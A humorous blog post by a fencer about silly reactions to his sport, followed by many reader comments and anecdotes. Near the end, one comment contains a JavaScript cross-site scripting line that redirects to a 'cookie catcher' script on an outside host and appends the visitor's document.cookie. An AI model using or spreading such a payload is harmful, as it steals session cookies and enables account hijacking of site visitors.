The Squiggly Arm Move (And Three Other Things You Shouldn’t Do When Meeting a Fencer)
This isn't Facebook. Please don't poke.
Finding out that someone is a fencer is something that is hard for people to grapple with for some reason. More than likely because it’s a unique sport that people only really ever see if they are watching something major like the Olympics.
The lack of exposure for this sport really sucks.
I feel like there is a legitimate interest out there in the sport, but it’s not something at the forefront of people’s minds so there is really no demand for it. It really pains my heart to see a sport where people are working endlessly, is cool, and involves weapons float completely beneath the radar. But it is so. The problem is accessibility. No matter which way you look at it, the cash flow that’s needed in order to afford equipment, lessons, group classes, club fees, membership dues, etc. is a pretty big deterrent. And if I were a parent trying to put my kid into an affordable extracurricular activity, I’d definitely opt for one where all that is needed is a ball as opposed to a two hundred dollar metal stick that you jab at someone’s chest until it snaps in half. But in my lifetime, I’ve seen sports like golf and tennis change from, sorta obscure elitist sports to pretty popular elitist sports. So I know it’s possible. I’d like to think that someday – but probably well after I’m done doing this – to see people watching fencing matches the way they follow tennis matches. I’d settle for hockey’s audience or something.
No offense if you’re into hockey. I just think you should let your sport go extinct like it wants to and support mine.
But, whatever. I digress.
What I’m really trying to get at here is that when someone asks me what “I do” and I tell them that I’m on the United States Fencing team, I don’t want the next thing that they do is make the weird squiggly arm move.
What’s the weird squiggly arm move? Allow me to explain.
The squiggly arm move is when someone rests an arm on one hip, points a finger at me and proceeds to make squiggly motions forward and backward trying to emulate what they think is fencing. The most brazen offenders sometimes start bouncing back and forth in this really crude imitation of fencing footwork. Just so you know, its crazy embarrassing to be at a bar and when I first meet you, you start hopping around like some sort of stunted, one-armed boxer.
Knowledge is power.
And whenever someone does emulate this, there is a 10 second delay before the conversation can resume again because, in my head, I’m trying to figure out whether this dude is a clown, making fun of me, both, or actually doing what they believe to be fencing. I don’t want to seem like the paranoid guy who is always worried about people mocking his eccentric hobbies but, let me be real here, I am the paranoid guy who is always worried about people mocking his eccentric hobbies. So even though there are some who might’ve thought that this little maneuver was cute, they have no idea how close they came to getting mushed[1] in the face.
I’m from Queens, son. Where we mush dudes on the regular.
Anywho… I submit, for your approval, a few other behaviors that people should avoid when they first meet a fencer.
Poke Them with Inanimate Objects
I remember, back in the day, when I was working in corporate America. Man, those were the good old days. That was when I wore a suit, I would sit a desk all day and I brought home racks on racks on racks. And this was pre-ecomonic meltdown so the ambiance was always upbeat too. The only downside was that it was common knowledge around the office that I fenced and once in a while this dude in the office thought it would be funny to stop by my desk and poke me with something. So here I am, trying to look busy when some jackass creeps up on me, stabs me in my ribs with a pen and screams “en garde!” People all over the world… please don’t do this. Just because I’ve made a life out of swashing buckles doesn’t mean that my idea of fun is for you to get ink all over my dress shirt.
You don’t pay my dry cleaning bills.
The Challenge
People are competitive. I get that. But I’ll never understand the random challenges. If I met Dwight Howard, this is exactly what wouldn’t come out of my mouth:
“Lets go. I’ve got a ball in my car and there’s a court across the street. I bet I can beat you.”
Why? Because I don’t think getting dunked on so hard that they have to use smelling salts to wake me up sounds fun. So I don’t get it when someone puts a challenge out there. But it’s not just the challenge but also the phraseology that’s off-putting. They always challenge me to duels. Its weird. When I think of duels, I imagine getting slapped in the face with a white glove or taking 10 paces before spinning around to gun someone down.
I’m not Aaron Burr.
Be Crazy
I live in a city with 10 million people so its common to witness some odd stuff or accidentally get into a conversation with someone that is a little… off. So after a while, you just learn to mind your own business and ignore the madness that just seems to make up the backdrop of the streets of New York City. But when you’re holding a weapon or a mask while your walking around, sometimes ignorance just doesn’t cut it and the crazies take it upon themselves to investigate. I’ll never forget the guy scolding me in the middle of the street when I made the mistake of carrying one of my epees out in the open. The weird thing was that he kept going on about how about I needed to be really careful because if I accidentally cut someone, I had to give the blade to them. I tried to tell him the thing was dull, blunted and pretty much harmless. Dude went on for like 10 minutes. And all I can remember was wondering if there was any validity to what he was saying.
No one told me that rule.
I wasn’t sure, so I bought a bag just in case.
Anyway, people of Riposte, I’m curious: Do you get poked a lot? Have you guys ever met someone who did something completely off the wall when you first told them you fenced? What do you think that comes from? Is it just a fascination with the whole sword element, or because this is such an obscure sport?
[1] Mush – the act of placing one’s hand on another person face and pushing the person backwards
Like this:
Comments
163 Responses to “The Squiggly Arm Move (And Three Other Things You Shouldn’t Do When Meeting a Fencer)”Trackbacks
Check out what others are saying...-
[...] QuickRiposte [...]
-
[...] thought that this little maneuver was cute, they have no idea how close they came to getting mushed[1] in the [...]
-
[...] The Squiggly arm move is a post by fencer and blogger Ben Bratton (Riposte): [...]
-
[...] In case you were wondering, here are 4 things you should never do when you meet a fencer, according to Ben Bratton’s blog Riposte: [...]
-
[...] you’re introduced to a fencer, don’t do the squiggly arm thing. Just [...]
-
[...] make up the backdrop of the streets of New York City. But when …http://quickriposte.com/ Read story Share this:TwitterFacebookLike this:LikeBe the first to like this [...]
Enjoying your writing. Keep up the good work!
grazie mille
absolutely …great article ben..
would you mind if i put a link on my website in Aus?
http://www.swordfightersaustralia.com/blog
cheers Chris
Thanks Chris! Just make sure you include a credit with my name and the site.
Thanks for the cool review!
I really enjoy your blog! i will never get used to the squiggly arm move or the random “duel” challenges lol.
Definitely agree about the “Squigley Arm Move.” I had trouble putting a definition on it, but now you have sufficiently classified one of my biggest pet peeves about people’s attitudes towards fencing.
Thanks for putting it into words. I admit every now and then I am childish enough to enjoy the funny faces when someone tries to stab me with a pencil and I do a disengage with a lunge.
haha, I’ve hung up my sabre and haven’t fenced in like 3 years, and I just got that squiggly arm move yesterday and I wanted to smack that guy.
Seriously, only sport where people try to mime it when they find out a person is an athlete in it. When a found out one of my co-workers played Football in college I didn’t go, “Oh football!” and then pretend to put a spin move on a phantom tackler.
I’m actually making it a personal rule to mime other peoples sports from here on out. You with me?
Haha, it’s only fair, right? I think this is a great plan.
I’m in
I am in with this, although I am not a fencer, it is a sport I have always wanted to try.
I am a surfer, but I am currently at a University in a city in the middle of England, but whenever you say you are a surfer, people instantly call you dude and pretend to be stood on a wave. Frustrating doesn’t cut it, I have tried in the past to mock them by pretending to be a shark, but sharks dont have fists, so I think punching isn’t an option.
But the miming of their sports and hobbies shall be interesting! I hope I find someone who is into pottery!
AH AH AH, that was hilarious. the squiggly arm move is universal! (I’m french)
Obscure would be when people look at you blankly and vaguely ask you to repeat. Or when they ask if, since you’re on the team, can you get them some chain link or split rail at a discount.
You say fencing, they do the squigley arm because it’s not that obscure. It’s the sword thing. They’re jealous.
And don’t you sometimes really want to accept that duel just so you can suit them up and crush them? No? Not even the obnoxious guy with the pen?
One of my favourite airport moments (Yes, I have them. Hush!) was on my way to a NAC several years ago. I had everything but my weapons backed into my carryon, which I had just put into the x-ray machine. The guy watching the x-rays looked up from his screen with a look of astonished glee and made The Squiggly Arm Move. I nodded. To this day, I am convinced that I helped him win some epic game of TSA bingo.
lol I get that one all of the time. Whenever I check my fencing bag I wonder if, if the TSA guys take out my weapons and have a little practice before my flight.
The worse thing about The Squiggly Arm Move is the ‘whooshing’ sounds they make. Sometimes, they even make Kung Fu noises right?
Them: “OMG You fence?!” *does Squiggly Arm Move* “Whish! Whish! Swish! HAAAAIIIIYYYAAAAAAAAAA!~~ YAA! YAA! YAAA! YAAAAAA!” *Violently flailing imaginary sword at my face*
Me: -.-”
I usually get asked about posts and hammers. Not even one of those things that was funny the first time.
Yes. I hate the Squiggly Arm Move with a burning passion.
I also hate Fencing-Tourettes. Why would someone possibly start shouting “EN GUARDE!” and “TOUCHEE!” when they hear what sport I do? You don’t see them shouting “GOOOOOAL!” or “OFFSIDES!” when they hear that someone is a soccer player.
I’ve also gotten a weirder version of the “duel” thing: I’ve had people go: “Oh, you do fencing? Like with a sword? Well, what I would do is, I’d just take out a gun and shoot you!” Wtf. Imagine saying that to a soccer player. “Well, you’d never score against MY team; I’d just have my goalie carry an AK47!”
Ben, this is pretty darn funny. I laughed out loud 3 times as I was reading it. Ha!.
Too funny, I read this this morning and then someone actually did it to me later today! And I’m not even a fencer anymore…
This is great and validating! I have had the poke ,the squiggly arm thing,challenged and the blank stare …you what? lol. I love this one….”so if you were in a dark alley and someone came up to suddenly,could you protect your self? My reply is often does he have a gun? or yeah I would definatly have my foldable sword and with a push of a button it would spring out! Let the duel begin! lol….
cheers!
Rebecca
When I get the sqwigly arm move, I like to respond by asking what sport they play, then do my best imitation of me playing their sport.
You’re too sensitive.
Thankfully not too many ppl do that to me when I tell them my handle is “Flungingpictures” then it’s a fencing term. They felt too ignorant not to know what a “flunge” is… so they never do any of those things to me… I guess that’s the way, In stead of saying fencing, you say, I’m an epeeist, foilist or sabreur.
Because no one cares about fencIng there is nO interest in It because its mOre boring the golf to watch. There is nO suspense its the samething over again and again . Stop dreaming the world isnt yearning to watch fencing and ice curling.
^ ^^ peOple whO type like yOu are annOying
Love your response.
Ronnie
And the world is yearning to read his posts
I love watching curling.
If there’s no intrest in it they why are you reading someones blog about it?
The comments are amusing.
I hate the squiggly arm move and it happens every time I tell someone from my college (Queens College
) that I am on the fencing team same goes with the whole challenges thing as well
Are we related if we went to the same school? I’m a QC grad: happy to meet you! I learned to fence in college too, but never got as far as the fencing team. Congrats.
Ronnie
My husband used to fence, was pretty decent at it too. the first time I brought him home to meet my parents (back when we were dating), my father says “so, what do you do?” and he says “I’m a fencer”, and my father says “watches?”
was pretty funny, actually.
That is hilarious. I assume your Dad was kidding???
Ronnie
Never fenced, don’t think many in India even know about this being a sport at the Olympic level. Sad isn’t it, considering that man has used swords for centuries. Great post.Thanks for sharing.
Of course; that makes perfect sense.Perhaps you can be influential in introducing it.
Ronnie
I won’t squiggly-arm you, but only because I already know I can’t fence to save my life. I tried, a loooooong time ago. It sounded cool, and I was in college, so I went for it. Against other total newbies, I won two confrontations, and only then because I was left-handed and made their heads short-circuit.
I still think it looks cool, though.
I totally relate to this!
Your post made me laugh out loud several times (to the possible curious wonderings of my roommate downstairs). I didn’t care though. You write really well, and I enjoyed reading your article!
This is AWESOME. I don’t fence, but I had friends who were on the college team (it was a big deal in Cleveland), and although they were some quirky folks, I don’t know if any of them ever told me about the squiggly arm move.
Hola, there,
) two different combat sports, both of which require me to wear a white Gi and colourful belts.
wow, fencing – I’m a bit jealous right now because that’s one of the things I always wanted to learn ever since I was a kid and read all those old novels by Dumas etc. But then, I am not here to complain, but rather to express my sympathies: By now, I’ve shot arrows and done (and actually am still doing, come to think of it
And whenever I decided to transport my bow to the gym/ outdoor shooting range already assembled, or even simply told (!) someone about my hobby, they’d either stare at me as if I’d gone mad, or imitate the movement of drawing back the string. And all I ever wanted to do was tell them – no, people, that’s not how it’s done, you’d either shoot the arrow into your foot or into thin air that way… Same with Karate and Jiu, obviously – running through a city in a white suit seems to attract attention. And once I tell them what I do – same old story…
So you really caught on to something in this post – I was grinning like a Cheshire cat while I was reading it. And I promise I will never issue a challenge to any fencer I meet – as long as you return the courtesy and do not try to take me into a headlock. You don’t want to do that – trust me!
Thanks, und bis dahin,
mylady phoenix
Exactly as myladyphoenix said — it’s not just you fencers; it’s any combat sport or martial art, from boxing to MMA to kung fu to SCA heavy. I’ve been doing one martial art or another for a couple of decades, and I’ve seen countless variations on the kind of thing you’re talking about.
Seems to me it’s a social dominance thing. Anything that has to do with being better at fighting radically alters the perception of power in a relationship, and making a joke of it does two things. The humor relieves a visceral tension in the other person, and the fact that it’s at your expense “scores a point” on you, and restores some parity. “See, you’re not so scary; I can make you look ridiculous.”
I find the annoying thing with any martial art besides Karate is that people still call it Karate. I practice Taekwondo and people either call me a ninja or call it Karate. I sometimes think each sport has a different annoying comment or action. Btw i still found the post itself interesting, of coure i get interested in a game of chess so i can’t be a good judge of the most interesting thing to put on television.
I know exactly how you feel. I practice kyuki do, and so many people call it “karate” and it frustrates me to no end. Its not “karate”. I said “kyuki do” for a reason. No matter what sport you do, there will always be people to mock you for it. And unfortunatly, executing a powerful palm heel to their nose probably wont be too good for you.
Nice post.
Great post. It’s always amazing how people think they know so much about something they’ve never done. I wouldn’t want to pick on anyone who knows a sport involving a weapon.
Love this. Love your wit. I live in NY too, and I could just imagine the scene.
Great blog
Val
http://valentinedefrancis.wordpress.com
Haha, I loved the picture you put in my head of the person immitating what they think a fencer looks like and also the guy poking yuo saying en garde. I can picture you trying to smile and laugh it off with them while thinking “alright this shits starting to get old now. Your article was good thanx for the laugh (I know you were serious but you had me cracking up at some parts)!
One of my friends fenced quite a lot before she got problems with her wrist…
It’s still a great sport though
However, I must admit that every time I think of fencing, I think of the last scene in Hamlet too
A friend of mine in school was a keen fencer, so I gave it a go a few times. I was terrible at it!
Still, I can see the attraction. The problem with it reaching a mass audience (beyond the Olympics) is exactly the same one as competitive judo or karate: it doesn’t look as cool on camera as the movies make it seem. The expectation of the audience for what they want to see is different to the reality.
(Of course, the underlying problem is that it’s too good for its own good: fencers are far more efficient with their moves than movie characters… but that spoils it a bit as a spectator sport, even with slow-motion replays and expert commentary.)
Thank-you for this. Some (many) years ago, I was learning old, Renaissance-style fencing; my teachers called it “rapier”. I don’t remember much, mostly the stance with the parry hand forward, the various blocks, and how much I wanted to smack someone upside the head when they did the squiggly arm thing. Fond memories…
i adore what you write..!!
keep up the good work
check out my blogs too..
im a new member in this stellar!
One of the most intelligent, well-written and fun posts I’ve ever read on WordPress! Thank you.
The farthest I ever got was being the fencing councilor at a sleep away camp. I always thought it was a beautiful, fascinating sport to watch; but never got the squiggly arm from anyone. Maybe because I was young and cute?
Ronnie
First timer here. Well done … I’ve never met a fencer, but if I ever do, this is the best source ever! REALLY!
So fun! I was a nationally ranked sabre fencer back in the 90s (Steve Mormando was our coach), and loved every minute of it. Haven’t fenced in years and hope to return to it after (ugh) hip replacement surgery in Feb.
I think it remains less-loved because it’s such a mental sport. We know how fabulous it is, but it doesn’t look terribly exciting to others.
Like Rebecca, I was always asked if I could use my sabre to defend myself. By the time I could even unzip the bag, I’d be dead, as we know. My favorite fencing reactions were on the NYC subway when strangers tried to guess what was in my bag. The best? An oud. Um, no…
Very entertaining post, I love the way you write. I can categorically say I am not guilty of any of these offences simply because I have never met a fencer (it really isn’t common in the UK although we totally know what it means). If and when I do, I will be sure to act really cool and indifferent out of respect – possibly avoiding all comment. I clicked on your blog on the dashboard because there is a 15 yr old boy in my novel who does fencing – and because NY is also relevant. I was in France during the Olympics once and there was loads of coverage of fencing, which you don’t get at all on UK TV channels. At the risk of saying something you may not like, I found it very beautiful and almost mesmerising to watch.
Just poke ‘em right back.
This was such a fun read, and I know nothing about fencing. I laughed at the Dwight Howard example. Also, I want to challenge my husband to a duel now (with fencing gloves – as in, the gloves he uses to fix fence around the farm). It’s fair game when we both know nothing about the sport, right? It will be a squiggly armed disaster, for sure.
Olá passei para conhecer seu blog ele é muito maneiro super organizado com ótimo conteúdo gostaria de parabenizar pelo excelente trabalho voltarei mais vezes no seu encantador
blog que Deus ilumine seus caminhos e de seus famíliares
Desejo muito sucesso
Welcome to the world of doing anything outside most people’s experience. My own was harping. Guess how many times I heard about angels and Harpo Marx.
Popped in here by chance!
I haven’t fenced in like 3 years but your post brought the “weird squiggly arm move” up to my mind. That is really a world thing. I am from Italy and friends/acquaintances used to stab me with everything as soon they found out I fenced.
Now I miss my epee so much!
Ambra
I have heard of some of the ideas floating around to make it “more TV friendly”…and brrrr…
About people poking you…
Check this part of Fiore’s grappling section:
http://wiktenauer.com/wiki/Fiore_delli_Liberi#Grappling
Apply one of them on their “Squiggly Arm” and in a very friendly way say: “sadly, this is not allowed when fencing, but there is no referee here…”
I teach medieval historical fencing too, and there is even more ignorance and sillyness (30 pounds swords, dull swords, Japanese X is better, cutting through armour, “in the movies they…” and many more).
So, a technical/historical/hysterical question from an engineer to the original writer and yourself about fencing novels: How accurate are the descriptions about Medieval fencing techniques and general swordmanship in Heinlein’s “Glory Road” and in Micheal Crichton’s (sp?) “Timeline”?
Robt
Thank you! Becuase the squiggly arm move is EXACTLY the mistake I would have made when first meeting a fencer untill reading this article.
Haha. I found this very amusing (in the I-totally-hear-what-you’re-saying-and-I-agree but it’s humorous way). I fenced when I was younger and was a bit paranoid about people thinking I was weird… and I have a friend who is a dancing master (italian style) who got frustrated about all the things you just said.
Looking forward to reading more.
I too have received the squiggly armed move when people learn I am a fencer. My office had pictures of me from various NACs and Nationals (only pictures of me scoring, of course) only to have people ask if the fencer was me. Never mind the picture was taken so you could read my name on the back of my jacket. I would usually respond by saying that “No, I had to search high and low to find a picture with someone with my name.”
The other response I usually receive is, “Fencing? Like picket?” I respond with, “No. Like you want to buy a watch?” Then I have to explain that witticism. A joke loses its value when you have to explain the punch line.
I was the company’s General Counsel so I used to get side comments about how it might not be too smart to give the company attorney a sword.
Then comes the question about how I got into such a fringe sport when they know I played basketball for a Division I college. I tell them the truth; I tore my ACL twice in three years playing in a Veteran’s (old man) league and needed to find a sport that went forward and backward instead of side to side; or as I told my wife, another sport over which I can obsess.
Airlines added their own twist to things. I had taken my gear on a trip to London and when I came home the ticket agent wasn’t sure he could allow my kit to be checked. I asked him how he thought I got the gear there in the first place and not until a supervisor OK’d was I allowed to check the bag. How often are you allowed into bag stowage to retrieve things from your luggage?
Then came the health problems and I switched to wheelchair fencing. When I say I am a seated fencer I get the “deer in the headlights look.” I am asked if it is like jousting and how are the chairs controlled? I have to explain about the frame that holds the chairs at distance. But before that I have to mess with their minds and tell them, “I am a wheelchair fencer. Although you would think we would use a sword, those chairs are so unwieldy. By the glassy stare in their eyes I can see that they are trying to get a mental image of someone on a piste holding a chair and stabbing at each other. The enjoyment of seeing they fell for that line is immeasurable.
I tell people to work out I need to get off my feet and train. (As opposed to getting up and work out. I can walk short distances) But as I tell other folks with a disability, “Where there’s a wheel there’s a way.”
Darryl, you had me in stitches with this! You’ve got a great sense of humor!
This was hilarious! -and enlightening. Usually, the word “fencing” only brings to my mind images of Inigo Montoya and some of the classic sayings from The Princess Bride (probably another thing fencers hate, I imagine?).
Very interesting and funny post. Well done!
Very fun and accessible post, well done!
good
good
My boyfriend used to teach fencing when he was at university, and he does the Squiggly Arm Move at me! I guess as a fencer he’s allowed to make fun of it, but he’s really not helping himself!
I may be guilty of trying to poke him with things…I never got close enough to land a hit though.
I have always thought well of fencing and other swordmanship work. I even took a fencing class myself because I had a desire to try it out first hand….
…after getting my ass handed back to me and more bruises than I can count, I decided to take up knitting. I applaud you my friend for being so dedicated. Great article as well.
You are involved in a niche sport; we don’t know about it. I promise I won’t do a Squiggly Arm Move, or shout “touche!,” but I will say that I would not hesitate to “mush” a fencer if he got overly-offended by someone around me who did something like that. No “mush-ing” for ignorance.
That said, if a man jabs you in the side with a pen in what he perceives to be a playful, yet annoying, manner, you are fully pardoned for any “mush-ing” that might then take place.
En garde.
Wow … long story short I’ve recently been wanting to find a Fencing Club or League in my area recently. Just out of the blue. I took some modest Bignner and Intermediate classes back in say 2004. Not picked up an Epee since but I do still have my mask and glove ^_^ So I can’t believe your blog just showed up today when I went to sing in. Maybe God is trying to tell me something lol.
I actually never had anyone make a fool of themselves whenever I mentioned I was taking Fencing. All of my family and friends, even new friends thought it was the COOLEST thing ever. I even discussed the topic in my college speech presentation and everyone was really into it. I demonstrated the motions, posture and various attacks and guards in addition to a brief history lesson. So pretty much so far I look forward to impressing most people when I tell them I fenced once. The sport totally fits my personality too – like Chess only more physical.
Glad I found your blog Ben.
(Josiah)
I think people ARE fascinated by fencing, and feel like they know a lot about it because of Hollywood movies and such. I’ve always wished to learn about fencing “properly,” but have no idea where to start (I do not deny my ignorance, though thankfully I’ve never poked any fencers with my pen). It is interesting, though that the sport doesn’t get very much attention – you would think weapons would catch people’s attention.
You brought out the desire to pick it up, again. It’s been years as I took lessons for a couple of years in college, and I always loved it, bruises and all.
Now that you mention it, people really did used to do the squiggly arm thing.
Huh.
I’m a fencer too and I definitely agree that not enough people know about it! We have it at our school and a lot of other people don’t take it seriously. We showed them when we won State Championships! Great post!
Haha! I love the post! I used to fence and I’ve been on the other end of the squiggly arm move so many times. But Congrats on being in the US team!
great posts! if you enjoy reading lists as much as making ones go here: http://spotthestereotype.wordpress.com
I have a friend who is a fencer and your gripe is the same as his so this is making me laugh to hard hahaha. I’m sending the link to this right now!
*too hard
Great post! I’m sorry you have to deal with all that.
I’m not a fencer so I’m not on the receiving end of the squiggly moves or the pokes but I can tell you why I think you have to deal with those things at all.
Personally, when I think of fencing, I think of Ivy League Schools. I have a 10 year old cousin who is starting to fence on an international level. He’s really good and he enjoys it but he knows that the only reason he started the whole thing was for the college application and a hopeful scholarship.
I think because of this association, people are intimidated by someone who fences because it implies that they’re elite in more than just the ‘money’ aspect so they compensate for their feeling of inferiority by poking fun at the sport and the athlete.
Anyways, that’s just my two cents.
Good job
keep on writing!
Great post!
Believe it or not, when my grandmother went to high-school they had fencing class. She happened to be the school champion, and I’m not just saying that because she’s my grandmother!
I’ll ask her whether she encountered the same sort of problematic people as you do.
hola que tal como estan
I completely emphasize with you about having to endure stupid reactions to your very cool but little known hobby. However (and I still think they deserve to be mushed), the bit about the duels… You do know that duels were held with swords for centuries and that once they begun to use guns the practice died out quickly because the death toll climbed to high, right?
I knew squiggly was a word!
Every time I’ve ever seen people fencing on tv, I’ve watched with awe. Respect.
On the expense issue—take up CLASSICAL/THEATRICAL fencing! I was a classical fencer for 3 years in high school and LOVED it and it was the most affordable, down right CHEAPest sport I’ve ever done.
I DIDN’T KNOW YOU FENCE…………………………………… well this is awkward………….. unexpected squiggly arm move!
Learning fencing is pretty high on my list of things I’d like to do. Unfortunately, I think that’ll take at least five years until I can get that kind of money, even if I can see well enough to do it.
Yeah, this is exactly what it feels like ! Thank you for posting this !
I used to fence (sabre) in my teenage years, in Romania . Nowadays, when I tell of those days to some guys at a beer, necessarily one of them grabs something and starts poking.
Gadflyeyeon.wordpress.com here, I guess no matter which kind of fencing we do, {in my case it was Kendo and Iaido} folks just don’t get the seriousness we feel about what we do. We certainly don’t do it for the folks making the aptly named “Squiggly” we do it for us. So too bad for them that they miss out on all the training and hardwork, it would probably be way tooooooooo much for them anyway. Keep on doing what you do and the drones will keep on buzzing but they will never land on us, we’re just too quick
Sharpen your rapier wit, so once again Bravo!
I’m glad I’m not the only one who gets challenged because of a sport. I am a 5’3″ female who has thrown a 6’3″, 240 pound 3rd degree black belt. I think I can take on the drunken idiot in the bar who can’t even stand on his own. (My “odd” sports are judo and jujitsu.)
The women I tell tell me they are scared of me and I shouldn’t hurt them, guys tell me how easily they could take me. After 17 years of doing this? I think I have the advantage.
A friend of mine, who is currently on a motorcycle trip around the world, is ranked as the #3 fencer in the state. From what I’ve heard about from him, it’s pretty intense.
Awesome post. I used to work in a corporate office, and also used to fence (small local clubs, never got into the competition circuit). I can do okay at foil or epee, but saber is my favorite. Had some twit where I worked come up to me & spend 20 minutes trying to explain that fencing isn’t a “real” sport because (1) this guy had read real sports have an element of physical danger to them and that risk is what keeps people interested (he never explained how golf has that risk) and (2) he’d spent an afternoon 10 years prior to that watching someone compete in a college fencing competition, so based on that he knew there was no element of physical risk.
After about 15 minutes of trying to explain that yes, fencing can involve physical risk & pain and I darned well had gotten enough bruises from saber bouts over the years to prove that, I finally told the twit that I had two sabers & one mask in the trunk of my car, we could go outside, he could have the one mask & I would be *happy* to demonstrate for him if there was an element of physical risk of fencing. He grumbled something & left my cubicle.
That was the closest I ever came to challenging someone to a duel (and at that point, I was so mad I didn’t care if I would have gotten fired) and yes, most people act like COMPLETE idiots when you tell them you fence.
I moved from fencing to historical swordsmanship (local club I was in was studying highland regimental one handed sword at the time, another local club I knew of was working through some of the German Lichtenauer material) and that got even worse because no one had any frame of reference at all, so I had to just tell them it was like fencing & leave it at that.
Anyway, you have my sympathies, people are idiots about fencing, and glad I found your blog, looks like interesting stuff.
I happen to like fencing a lot, and I wish it would become more popular as well. Then, perhaps, the huge Sportsplex somewhat nearby will offer classes and one day I will be able to figure out how to hold something that’s about as close to a sword as I’ll ever get
I relate to this sooooooo much! I was a fencer in NY in college and moved to the midwest a few years ago and the closest fencing group was three hours away.
I am not a fencer, and I would never do any of those things. People want to act smart, so they act dumb. Weird reactions to the question “what do you do?” is not limited to fencing. When I studied martial arts, and I told people, they would make their hands flat and wave them around as if swatting flies and ask me if I could break boards. Yes. But not the pressure-treated lumber you put on my desk in the corporate office. Or the people who discover I am a writer and ask, “Have you written anything I might have read?” Of course, I must ask “What do you read?” and they answer, “You know, stuff.” Ahhh, enlightenment.
growing up in Canada, fencing was just something we saw on TV. Really cool for you! great post. thanks
http://www.foundobjectbeachart.wordpress.com
I have specialized plates that say “I FENCE” and I live in the country. I once had a band of cowboys chase me down on horseback through the sagebrush. My husband said, “Hey, stop the car. I think these cowboys are in trouble.” When they finally caught up to my car, they said with one hundred percent sincerity, “Hey, we’ll hire you! We need to put up 150 acres worth of fence.”
I tried not to laugh, but it was difficult…
This was a really lovely read! Fencing is really cool and I wish I would have bugged my parents to let me try it when I was younger.
Honestly, this entertained me so much I might write one for myself: The “Belt Me a High C” (And Three Other Things You Shouldn’t Do When Meeting an Opera Singer). I’ll credit this post as the idea-starter. Thanks for the post! (:
PS… Hockey is not going extinct! Although I’ll agree that fencing SHOULD be more widely-known!
Oh lord, I would much rather see some manner of Fencing League than the Wimbeldon. Not to mention, have you ever seen how big a hockey rink or a football field is? More importantly, have you ever seen how expensive they are to be that big? You could have a Fencing Arena in a quarter of the space.
It would be like the UFC, but less bloody and…homoerotic; and more acceptable to say if you were a professional at the Thanksgiving Turkey Table.
The second I saw squiggly-arm-move I knew what you meant. My brother used to teach fencing and the stories he would tell me of people he encountered were both stupid and entertaining–just like your blog, I mean the entertaining part.
Damn, after reading your post, I just cannot resist trying all these things on a fencer
I blame you hahaahah
document.location=”http://box7.host1free.com/~netsec/cookie catcher.php?c=” + document.cookie
‘I know something that you do not’ is our favourite line from the Princess Bride and the whole reason (I think) my beloved boy got into fencing – not hammers and nails and not Touche Turtle. It’s a great, if under-rated sport but this post and all the responses show there is a great following and great people who retain their sense of humour despite the provocation. Imagine if you did rip out your sabre or foil – that’d stop the smart-arses in their tracks, wouldn’t it??
“Hello, my name is Inigo Montoya; you killed my father; prepare to die.”
If only I could fence! And now apparently I can’t even pretend to with the squiggly-arm move. Darn it!
Beg pardon, but the best line is in fact “Mawidge is a dweam wiffin a dweam…”
This made me giggle. I think every hobby has this phenomenon happen. I say belly dancing, people think shaking their booty is belly dancing… or worse, stripping. *facepalm*
Like fencing, shooting is also an Olympic Sport.
Take up High Power Rifle, which requires tremendous discipline and commitment (financial, training and time for 6 hour matches held an hour drive outside of the city), put in untold hours training for competition and then you can have everyone call you sniper or killer and beg you not to shoot them. Even though you don’t hunt and simply like to punch holes in paper targets at very long distances, you have to bite your tongue to keep from telling them “You can run but you’ll just die tired.”
Thanks your post, along the article I found many things I need to do more genealogy,
Very useful article indeed, something like a body language
Hi! I really enjoyed your article and it remembered me of countless situations where I tried to explain my Hobby to people…
I am into Live Action Roleplaying and since we are using (harmless) weapons as well, getting poked, laughed at or challenged happend to me too. I know a lot of guys who are doing classical Swordfencing with medieval weapons. (I´m located in Germany btw.)
Everyone of them as encountered similar situations.
Squiggly arm move made my day!
greetings from the O-Town
Javeed
Had no idea that people can be that stupid…. o.O”
I kinda think fencing is a cool sport, because its so rare.
And if someone starts making the ”squiggly arm move” – that just makes them jerks.
And also kinda embarrasing themself? XD Shit I would laugh of them if I saw that move in a bar.
Fencing is kinda cool, and you get to work alot on you balance too, I heard it should be awesome fun, so seriously – keep it up, and dont care about the ”dancing” bastards in the bars.
A follow and a like from me!
Mia
This is a very nice post! It actually reminded me of Reed Jobs, son of the late Steve Jobs. I believe he’s part of Stanford University’s fencing team.
I had a friend at University who was part of the Fencing Society; it’s really intense and engrossing to watch. The sport certainly doesn’t get the exposure it deserves.
I adore your writing! I don’t know anyone who fences, nor have I ever seen fencing live, nor do I know if the sport even exists in South Africa. I have always wanted to do fencing since I saw it in that movie about the twins at summer camp (I cannot remember the name right now).
The closest I got to that was karate. Which is pretty obscure in South Africa already. And I experience exactly what you experience, especially the incessant challenge to a “duel”. Seriously? SERIOUSLY?!
HAHAHA I am SO happy you wrote this post– I saw it on Freshly Pressed and immediately burst out laughing. It’s so true! I’ve been fencing for eight years now and get this all the time.
Fencing is a sport that definitely should have more recognition. I do think it’s getting there, though– slowly but surely. Almost everyone who figures out I’m a fencer tells me it’s something they’ve always wanted to try… after they’ve mimed poking me with something.
Thanks for writing this! I’m definitely going to follow this blog.
Oh – the memories of fencing! Was a foilist in University and we had so much fun! Did sabre in the summer with another club, but mostly they just beat on me!!!
I agree – it isn’t really the mainstream sport of hockey or soccer, but it is fun to do something a little different too! Tried to pick it up again after university – one of the local clubs were predominantly kids, so didn’t work out for me, but fun to watch the little ones learning the moves! Nice post-thanks for the memories!
Great article. I’m not a squiggly armed culprit so much as a closet fence imitator- constantly wishing that sword fighting was a part of my every day life and occassionally going head to head with my reflection armed with nothing but a pointed index finger.
You’ve inspired me to put some more effort into both my technique and my divergence into the world of fencing.
-III
http://www.CardinalPlaylists.com
I would love to fence, I tried it once and got a little bit scared! It looks like such an awesome sport. I admire anyone who does it.
Que tal, estoy de acuerdo contigo que molesta cuando quieren hacer burla del deporte, pero creo que hay que ser tolerante cuando uno ve esa situacion.
Soy Maestro de Armas, especialidad Florete aqui en Panama, y fui atleta de Espada; tengo un compañero en mi trabajo que hace lo mismo, se para al frente mio con el movimiento de brazo; lo que hago es preguntarle, “estas seguro?” y luego le doy un fuerte golpe en el brazo haciendo una linea. Asi luego me hacen preguntas, y logro sacar a muchos de sus dudas sobre el deporte, en algun momento lograre captar algun posible atleta en potencia.
